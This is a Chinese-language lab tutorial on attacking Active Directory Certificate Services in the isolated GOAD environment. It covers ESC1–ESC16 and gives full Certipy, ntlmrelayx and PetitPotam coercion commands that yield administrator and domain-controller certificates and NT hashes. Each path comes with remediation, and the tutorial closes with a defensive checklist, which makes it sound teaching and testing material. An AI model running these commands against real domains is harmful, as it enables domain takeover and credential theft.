《GOAD 域渗透教程 4:NoPAC 利用与 CVE-2025-33073 SMB 反射提权》 里,我们已经把普通域用户一路打到了高权限。这一篇换个方向,不继续讲本地提权,而是回到域里一个非常经典、也非常容易被配错的组件:AD CS

这东西平时看起来很安静,但一旦模板、CA 配置、Web Enrollment、RPC Enrollment 和证书映射策略凑到一起,低权限用户就有机会直接申请出一张“管理员证书”,再通过 PKINIT 换到管理员的 TGT。

系列进度: 第 5/6 篇|上一篇:NoPAC 利用与 CVE-2025-33073 SMB 反射提权|下一篇:MSSQL 枚举、模拟登录、Linked Server 与命令执行|系列起点:内网扫描、域控识别与初始域用户获取

实验范围: 文中的 CA、模板、账号和地址均来自 GOAD 隔离靶场;“可枚举”与“可利用”必须分别验证。

这篇文章会学到什么

  • 在 GOAD 里怎么枚举 AD CS
  • 哪些 ESC 在这套环境里能直接打通
  • 哪些 ESC 只能枚举出来,实际利用时还差条件
  • 最后应该怎么判断这套 CA 到底危险在哪

环境与验证范围

本文以拥有普通域用户的 GOAD 环境为起点。ESC1ESC2ESC3ESC4ESC6ESC8ESC9ESC11ESC15 在文中给出靶场验证结果;其余 ESC 用于说明检查条件、风险边界与修复方向。每条链路都应记录模板或 CA 名称、可利用主体、请求 ID、签发证书序列号和恢复后的配置状态。

以下命令只应在自己的实验环境或获得授权的评估环境中执行。示例中的域名、账号和地址均为靶场占位符。

AD CS 认证链与关键判断

一条常见的提权链路是:

1
2
低权限账号 -> 发现可申请的模板 -> 申请证书 -> PKINIT 获取 TGT ->
导出 NT hash / 访问 LDAP / DCSync

证书能否用于域认证,重点看三件事:

  1. 模板是否允许当前用户(或其所在组)Enroll
  2. 模板是否包含 Client AuthenticationPKINIT Client AuthenticationSmart Card LogonAny Purpose,或者没有 EKU(SubCA)。
  3. 证书中的身份是否能被域控映射到目标账号。2022 年以后要特别关注 SID security extension 和强证书映射策略,不能只盯着 UPN。本文截图使用 Certipy 5.x 时,会在需要映射到管理员的请求里显式加入 -sid S-1-5-21-2722828915-3828737216-794252622-500

枚举 AD CS

Certipy(Kali)

1
certipy-ad find -u khal.drogo@essos.local -p 'horse' -vulnerable -dc-ip 192.168.56.12 -stdout

我这里的习惯是先看 Enrollment RightsClient AuthenticationEnrollee Supplies SubjectManager ApprovalAuthorized SignaturesWeb EnrollmentRequest Disposition 这几项。

不要只盯着 Vulnerable: True,最好把模板和 CA 的关键属性重新过一遍,不然后面很容易打偏。

Certipy 枚举 GOAD 中 AD CS 模板与 CA 配置的结果

这套 GOAD 我最终枚举到的重点项有:

  • 模板侧:ESC1ESC2ESC3ESC4ESC9
  • CA 侧:ESC6ESC8ESC11
  • 其他:ESC15,另外 Certipy 还给出了 ESC17

ESC 速查矩阵

ESC 本文验证状态 重点判断条件 修复重点
ESC1 靶场已验证 低权限可注册、可控 SAN、可用于客户端认证 关闭任意 SAN,收紧 Enroll 与审批
ESC2 靶场已验证 Any Purpose、无 EKU 或可衔接 Enrollment Agent 最小化 EKU 与注册权限
ESC3 靶场已验证 Enrollment Agent 与可代申请的目标模板 限制 Agent 模板、启用审批和授权签名
ESC4 靶场已验证 对模板对象具有可写权限 收紧模板 ACL,记录并恢复配置
ESC5 按权限面检查 对 PKI 对象具有可写或可控权限 审计 PKI 容器与高权限对象 ACL
ESC6 靶场已验证 CA 允许请求者指定 SAN 移除危险 EditFlags,审计已签发证书
ESC7 未单独复现 CA 管理或证书经理权限 最小化 CA 管理角色并审计变更
ESC8 靶场已验证 Web Enrollment 可被 NTLM Relay 关闭不需要的 Web Enrollment,启用 HTTPS/EPA
ESC9 靶场已验证 模板关闭 SID security extension,且可与其他条件组合 恢复安全扩展和强映射
ESC10 配置检查 KDC 或 Schannel 使用弱证书映射 迁移至强映射并清理历史弱映射
ESC11 靶场已验证 RPC Enrollment 可被 NTLM Relay 启用 RPC 加密、限制 NTLM 与请求接口
ESC12 风险说明 CA 私钥保护或备份不足 使用 HSM/不可导出密钥并保护备份
ESC13 风险说明 Issuance Policy OID 映射到高权限组 审计 OID 映射与模板策略
ESC14 风险说明 可写 altSecurityIdentities 收紧对象 ACL,使用 SID 强映射
ESC15 靶场已验证 请求者可注入 Application Policy 固定策略来源,升级并审计 CA
ESC16 靶场未出现 CA 全局禁用 SID security extension 恢复扩展、启用强映射并审计历史证书

模板与权限路径

ESC1:模板允许请求者指定 SAN

先从最经典的 ESC1 开始。这个模板允许低权限用户注册,不需要审批,也不需要授权签名,同时还允许请求者自己指定 subject/SAN。这样一来,我们就可以直接把 administrator@essos.local 写进证书里。

1
2
3
4
5
certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template ESC1 \
-upn administrator@essos.local \
-sid S-1-5-21-2722828915-3828737216-794252622-500 \
-dc-ip 192.168.56.12 -out esc1_admin

使用 ESC1 模板申请包含管理员 UPN 的证书
随后

1
2
certipy-ad auth -pfx esc1_admin.pfx -dc-ip 192.168.56.12 \
-username administrator -domain essos.local

通过 PKINIT 使用 ESC1 证书获取管理员 NT hash

ESC2:Any Purpose 或无 EKU 模板

ESC2 的关键点是模板用途太宽,或者干脆就是 Any Purpose。这种证书本来不该随便发,但一旦低权限用户能申请,后面很容易继续套别的链子。

这套 GOAD 里更夸张一点,ESC2 还顺手带了 Enrollment Agent 能力。所以这里我没有绕弯,直接这样打:

1
2
3
4
5
6
7
8
9
10
11
12
certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template ESC2 -dc-ip 192.168.56.12 \
-out esc2_anypurpose

certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template User \
-on-behalf-of 'ESSOS\Administrator' -pfx esc2_anypurpose.pfx \
-sid S-1-5-21-2722828915-3828737216-794252622-500 \
-dc-ip 192.168.56.12 -out administrator_esc2

certipy-ad auth -pfx administrator_esc2.pfx -dc-ip 192.168.56.12 \
-username administrator -domain essos.local

使用 ESC2 证书链代表管理员申请证书的结果

这里要看的不是模板名字,而是这张证书到底有没有被拿去做 on-behalf-of 的能力。只要这一步成立,后面就能继续往管理员证书上走。

ESC3:Enrollment Agent 代表他人申请

ESC3 就更直接了:先拿一张 Enrollment Agent 证书,再代替别的用户申请证书。只要高权限模板没有做额外限制,这条链一般都很好用。

1
2
3
4
5
6
7
8
9
10
11
12
certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template ESC3-CRA -dc-ip 192.168.56.12 \
-out esc3_cra

certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template User \
-on-behalf-of 'ESSOS\Administrator' -pfx esc3_cra.pfx \
-sid S-1-5-21-2722828915-3828737216-794252622-500 \
-dc-ip 192.168.56.12 -out administrator_esc3

certipy-ad auth -pfx administrator_esc3.pfx -dc-ip 192.168.56.12 \
-username administrator -domain essos.local

使用 Enrollment Agent 证书代表管理员申请证书的结果

应限制 Enrollment Agent 模板的注册权限,并为高权限模板启用授权签名和审批。

ESC4:可写的证书模板对象

ESC4 的意思不是模板一开始就危险,而是你有权限把它改危险。这类场景我一般会先备份,再改模板,打完以后再恢复。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
certipy-ad template -u khal.drogo@essos.local -p 'horse' \
-template ESC4 -save-configuration esc4_restore.json \
-write-default-configuration -no-save -force -dc-ip 192.168.56.12

certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template ESC4 \
-upn administrator@essos.local \
-sid S-1-5-21-2722828915-3828737216-794252622-500 \
-dc-ip 192.168.56.12 -out esc4_admin

certipy-ad auth -pfx esc4_admin.pfx -dc-ip 192.168.56.12 \
-username administrator -domain essos.local

certipy-ad template -u khal.drogo@essos.local -p 'horse' \
-template ESC4 -write-configuration esc4_restore.json \
-no-save -force -dc-ip 192.168.56.12

修改可写证书模板后申请管理员证书的结果

这一步一定要记得把模板恢复回去,不然文章是写完了,靶场环境也被你改脏了。

ESC5:PKI 对象的可写权限

ESC5 这类问题更偏权限面,不一定像前面几条一样一条命令就出结果。重点是去看 PKI 相关对象谁能写。

这类问题建议用 BloodHound 查看 GenericWriteWriteDaclWriteOwnerAddMember,不要只依赖模板枚举结果。

ESC15:证书模板允许注入 Application Policy

ESC15 是新一点的玩法。简单说就是模板把 Application Policy 也放给申请者控制了。

我一开始只往 WebServer 模板里塞 Client Authentication,证书确实签出来了,但直接 auth 会报:

1
Certificate is not valid for client authentication

看证书以后就明白了:这张证书的 EKU 还是 TLS Web Server Authentication,不能直接拿去 PKINIT。正确打法不是直接登录,而是把它变成一张 Certificate Request Agent 证书,再用 on-behalf-of 代管理员申请 User 证书。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template WebServer \
-upn administrator@essos.local \
-application-policies 1.3.6.1.4.1.311.20.2.1 \
-dc-ip 192.168.56.12 -out esc15_cra

certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template User \
-on-behalf-of 'ESSOS\Administrator' -pfx esc15_cra.pfx \
-sid S-1-5-21-2722828915-3828737216-794252622-500 \
-dc-ip 192.168.56.12 -out administrator_esc15

certipy-ad auth -pfx administrator_esc15.pfx -dc-ip 192.168.56.12 \
-username administrator -domain essos.local

注入 Certificate Request Agent 策略后完成 ESC15 证书申请的结果

这里的关键点是 1.3.6.1.4.1.311.20.2.1,也就是 Certificate Request Agent。第一张证书不负责登录,只负责“替别人申请”;第二张 User 证书才拿去做 PKINIT。

修复模板中的策略来源,避免把应用策略交给申请者,同时升级并审计 CA 服务器。

CA 配置与身份映射

ESC6:CA 开启 EDITF_ATTRIBUTESUBJECTALTNAME2

ESC6 是 CA 级别的问题。就算模板自己不让你填 subject,只要 CA 开了 EDITF_ATTRIBUTESUBJECTALTNAME2,你还是能把 SAN 塞进去。

1
2
3
4
5
6
7
8
certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template User \
-upn administrator@essos.local \
-sid S-1-5-21-2722828915-3828737216-794252622-500 \
-dc-ip 192.168.56.12 -out esc6_user_admin

certipy-ad auth -pfx esc6_user_admin.pfx -dc-ip 192.168.56.12 \
-username administrator -domain essos.local

利用 CA 允许自定义 SAN 的 ESC6 申请证书结果

这里能打通的关键点很简单:User 模板本身不让自定义 subject,但 CA 全局允许 User Specified SAN,所以我还是能把 administrator@essos.local 写进去。

修复是移除该 EditFlags,并审查已经签发的可疑证书。注意,单独关闭 ESC6 不等于解决 ESC9/ESC16,它们位于不同配置层。

ESC7:CA 管理权限和证书经理权限

ESC7 我这次没有单独展开打,因为它更像是前置权限。拿到 ManageCAManageCertificates 之后,通常还是要配合模板或 CA 配置继续往下走。

1
2
3
Certify.exe enum-cas --hide-admins
certipy ca -u 'user@corp.local' -p 'Password123!' \
-ca 'CORP-CA' -list

CA 管理角色应只授予 PKI 管理员,所有配置变更和挂起请求都需要审计。

HTTP 与 RPC Enrollment 中继路径

ESC8:HTTP Web Enrollment 的 NTLM Relay

ESC8 终于到了 relay。这里不再是低权限用户自己申请证书,而是想办法把受害机器的 NTLM 认证中继到 /certsrv/,让 CA 代它签一张证书。

1
2
3
4
5
6
7
8
impacket-ntlmrelayx -t 'http://192.168.56.23/certsrv/certfnsh.asp' \
--adcs --template DomainController -l relay_http

nxc smb 192.168.56.12 -u vagrant -p vagrant \
-M coerce_plus -o LISTENER=192.168.56.128 METHOD=PetitPotam

certipy-ad auth -pfx relay_http/MEEREEN.pfx \
-dc-ip 192.168.56.12 -username MEEREEN$ -domain essos.local

将机器账户 NTLM 认证中继至 Web Enrollment 的 ESC8 结果

我这里直接用本地管理员 vagrant / vagrant 去触发 PetitPotam,把 MEEREEN$ 的 NTLM 认证打到 Kali,再中继到 BRAAVOS/certsrv/。最后成功拿到 MEEREEN$ 的证书,接着换出了 TGT 和机器账户 hash。

该链路真正的目标不是“拿到一个 NTLM 哈希”,而是让中继身份完成证书注册。修复优先级:关闭不需要的 Web Enrollment,启用 HTTPS、EPA,禁用 NTLM,并限制出站认证。

ESC11:ICertPassage RPC 接口允许 NTLM Relay

ESC11ESC8 很像,只不过这次走的不是 HTTP,而是 RPC 的 ICPR/ICertPassage。思路还是一样:先强制认证,再做 relay。

我一开始这里失败过一次,原因也很典型:中继的是域控机器账号 MEEREEN$,但我用了 Machine 模板,CA 直接返回 CERTSRV_E_TEMPLATE_DENIED。RPC relay 没问题,错在模板选错了。

把模板换成 DomainController 后就能签出来:

1
2
3
4
5
6
7
8
9
10
11
impacket-ntlmrelayx -t rpc://192.168.56.23 \
-rpc-mode ICPR -rpc-use-smb \
-auth-smb essos.local/vagrant:vagrant \
-rpc-smb-port 445 -icpr-ca-name ESSOS-CA \
--template DomainController -l esc11_dc

nxc smb 192.168.56.12 -u vagrant -p vagrant \
-M coerce_plus -o LISTENER=192.168.56.128 METHOD=PetitPotam

certipy-ad auth -pfx esc11_dc/MEEREEN.pfx \
-dc-ip 192.168.56.12 -username 'MEEREEN$' -domain essos.local

通过 RPC Enrollment 完成 ESC11 NTLM 中继的结果

这里最终拿到的是 MEEREEN$ 的证书,然后通过 PKINIT 换出机器账号 TGT 和 hash。

所以排查 ESC11 失败时,不要只看 relay 有没有成功,还要看被中继身份应该申请哪个模板。域控机器账号优先试 DomainController,普通成员机再看 Machine

优先启用 RPC 请求加密和限制,无法兼容旧客户端时再评估是否关闭 RPC enrollment。

CA 配置、密钥与身份映射

ESC9:模板关闭安全扩展

ESC9 的问题在于模板故意不带 SID security extension。单独看它不一定立刻能打,但和 ESC6 这种 CA 级别的 SAN 可控问题组合起来,效果就很明显。

这套 GOAD 里就是很典型的 ESC9 + ESC6 组合:模板 ESC9 本身关闭了安全扩展,CA 又允许我自带 SAN,所以可以直接给管理员申请一张证书。

1
2
3
4
5
6
7
8
certipy-ad req -u khal.drogo@essos.local -p 'horse' -ca ESSOS-CA \
-target braavos.essos.local -template ESC9 \
-upn administrator@essos.local \
-sid S-1-5-21-2722828915-3828737216-794252622-500 \
-dc-ip 192.168.56.12 -out esc9_admin

certipy-ad auth -pfx esc9_admin.pfx -dc-ip 192.168.56.12 \
-username administrator -domain essos.local

组合 ESC9 模板与可控 SAN 申请管理员证书的结果

ESC10:弱证书映射配置

ESC10 更多是映射策略的问题。你拿到证书以后能不能真的映射到目标账号,最后还得看 KDC 和证书映射策略怎么配。

1
2
reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v StrongCertificateBindingEnforcement
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel /v CertificateMappingMethods

修复时使用强映射、补齐 SID security extension,并清理历史弱映射。

ESC12:CA 私钥保护不足

ESC12 这类问题就不是改模板了,而是直接盯 CA 私钥。只要 CA 私钥丢了,前面那些申请流程都不重要了。

CA 私钥应使用 HSM 或不可导出的密钥存储,并严格保护 CA 主机、备份和恢复介质。发现泄露时必须吊销并重新生成 CA,而不是只删除一张恶意证书。

ESC13:Issuance Policy 映射到高权限组

ESC13 比较吃环境。重点不是背 PoC,而是去看这套域里有没有真的把某个 issuance policy OID 映射到高权限组。

枚举时重点检查模板的 Certificate Issuance Policies,并确认策略 OID 在 AD 中映射到了哪些组。

ESC14:显式证书映射(altSecurityIdentities)

ESC14 就是大家经常提到的显式映射。只要你能改 altSecurityIdentities,很多时候就可以直接把证书绑到目标账号身上。

审计 altSecurityIdentities 的写权限和现有映射,优先使用基于 SID 的强映射,禁止普通用户写入高权限对象。

ESC16:CA 全局禁用 SID security extension

ESC16 与 ESC9 的原理相同,但影响范围更大:不是某一个模板缺少 SID security extension,而是 CA 对所有签发证书禁用了 1.3.6.1.4.1.311.25.2 扩展。SpecterOps 的 Certify 文档明确指出,ESC16 会影响该 CA 签发的全部证书。

1
Certify.exe enum-cas --hide-admins

如果输出中出现:

1
2
Disabled Extensions : <unknown> (1.3.6.1.4.1.311.25.2)
ESC16 : The CA has disabled the security extension.

就需要把它当作 CA 级别的问题处理,而不是只修一个模板。恢复安全扩展、启用强证书映射,并检查历史签发证书和映射对象。

这套 GOAD 当前没有直接给出 ESC16,所以这里我就不硬凑一条不存在的利用链了。到这里其实也能看出来:同样是 ADCS 靶场,真正能打通的链子还是得看当前运行配置。

一套实际的排查顺序

最后把我自己在靶场里常用的一套排查顺序留一下:

1
2
3
4
5
6
7
8
9
# 1. 枚举 CA、模板和漏洞
certipy find -u 'user@corp.local' -p 'Password123!' \
-dc-ip 10.10.10.10 -stdout -vulnerable

# 2. 如果看到模板型问题,先确认 Enroll、EKU、SAN、审批和签名
# 3. 如果看到 ESC8/ESC11,确认 Web/RPC 是否启用 EPA、签名和加密
# 4. 如果看到 ESC6/ESC7/ESC16,检查 CA 级别配置与管理权限
# 5. 取得证书后,使用 PKINIT 验证映射结果
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

最终报告至少应包含:模板和 CA 的 DN、危险属性、可利用主体、申请日志中的 Request ID、签发证书序列号,以及恢复配置后的验证结果。只截图 Vulnerable: True,对修复没有太大帮助。

防守侧的检查清单

  • 删除不再使用的模板,Enroll 只授予必要的组。
  • 所有客户端认证模板关闭任意 SAN,开启审批或授权签名。
  • 收紧模板、CA、PKI 容器和 altSecurityIdentities 的写权限。
  • 关闭不需要的 Web Enrollment;启用 HTTPS、EPA、RPC 加密,减少 NTLM。
  • 启用 SID security extension 和强证书映射,完成 KB5014754 相关迁移。
  • CA 私钥使用 HSM 或不可导出存储,保护备份与恢复介质。
  • 监控异常证书申请、短时间大量 Request、管理员 UPN/SID、Enrollment Agent 和 CA 配置变更。

常见问题

certipy find 显示漏洞,是否代表一定可利用?

不代表。还必须验证当前主体的 Enroll 或对象写权限、模板 EKU/SAN/审批条件、CA 配置、证书映射策略,以及最终是否能用证书完成预期认证。

ESC1、ESC6 与 ESC8 的差别是什么?

ESC1 主要来自模板允许用户指定身份;ESC6 是 CA 全局允许指定 SAN;ESC8 则依赖 Web Enrollment 与 NTLM Relay。它们的触发层、前提和修复措施不同,不能只按“能否申请证书”混为一谈。

如何确认 PKINIT 链路真正成立?

以实际签发证书、certipy-ad auth 的认证结果和目标身份权限为准,同时保留 Request ID、证书序列号与恢复配置后的复测结果。

本文小结

AD CS 这块最容易让人误判的地方,就是把“枚举到漏洞”直接等同于“马上能打通”。这两件事不是一回事。

在这套 GOAD 里,ESC1ESC2ESC3ESC4ESC6ESC8ESC9ESC11ESC15 我都打出了结果。ESC11 之前失败是模板选错,ESC15 之前失败是把第一张 WebServer 证书直接拿去登录了;把链路改对以后都能正常出 hash。

所以拿到一个普通域账号之后,别只跑一遍 certipy find 就收工。最好把模板、CA、接口、权限和最终认证结果串起来看,这样你才知道这套 AD CS 到底是真危险,还是只是“看起来危险”。

参考资料:

系列回顾

Part1 的初始信息收集 开始,可以按“资产与凭据 → 目录服务枚举 → 中继路径 → 基础提权 → AD CS”重走完整流程;如需复核前置权限与主机条件,可回看 Part4